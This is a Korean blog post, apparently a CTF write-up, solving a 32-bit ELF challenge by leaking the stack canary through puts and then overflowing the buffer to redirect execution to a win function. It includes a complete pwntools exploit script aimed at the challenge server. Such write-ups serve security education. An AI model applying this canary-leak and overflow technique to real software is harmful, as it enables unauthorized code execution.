Download: vuln
32bit ELF 바이너리에 SSP (Stack Canary) 와 NX 보호기법이 걸려있다. 문제 이름에서 대략적으로 유추할 수 있듯이, canary를 leak한 뒤 BOF 공격을 수행하면 될 것이라고 짐작할 수 있다.
먼저 IDA로 디컴파일한 뒤 전체적인 구조를 분석해본다.
win을 호출하면 flag를 얻어오고 vuln의 read에서 BOF가 발생할 수 있다.
vuln의 RET에 win 주소를 덮어씌우면 되겠지만 그 전에 stack 무결성 검사를 bypass 하기 위해 canary 값을 맞춰줄 필요가 있다.
canary의 첫 바이트는 항상 \x00 (NULL) 으로 시작하므로, 정확히 canary의 NULL 위치까지 read를 통해 값을 써 준다면 puts 함수에서 canary leak이 가능할 것이다.
두 번째 read 함수 호출에서 canary 값을 맞춰주고 RET에 win 주소를 overwrite 해 주면 문제를 해결할 수 있다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10202)
win = 0x804869B
p.sendlineafter('>', '1')
p.sendline('A'*32)
p.sendlineafter('>', '2')
leak = p.recv(36)
leak = '\x00'+leak[33:36]
print 'Canary = '+''.join('%02X ' % ord(b) for b in leak)
p.sendline('1')
payload = 'A'*32
payload += leak
payload += 'A'*12
payload += p32(win)
p.sendline(payload)
p.sendlineafter('>', '3')
p.interactive()
s가 EBP-0x2C에 있고 canary가 EBP-0xC에 위치하므로 s의 크기는 0x20이다.
A 32글자를 보내면 A 32글자 + LF (Line Feed) 1글자로 33글자가 되고, canary의 NULL 바이트는 \x0A로 바뀐다.
puts 호출 때 canary leak이 되고, 34번째부터 36번째 바이트의 값 앞에 NULL을 붙이면 canary가 된다.
그 뒤에는 기초적인 BOF 공격을 수행한다.
'ICEWALL' 카테고리의 다른 글
[System] typing_practice / 200 (0) | 2019.07.19 |
---|---|
[System] fsb32 / 150 (0) | 2019.07.19 |
[System] bofbaby2 / 120 (0) | 2019.07.18 |
[System] bofbaby1 / 100 (0) | 2019.07.18 |
[System] command_injection / 100 (0) | 2019.07.18 |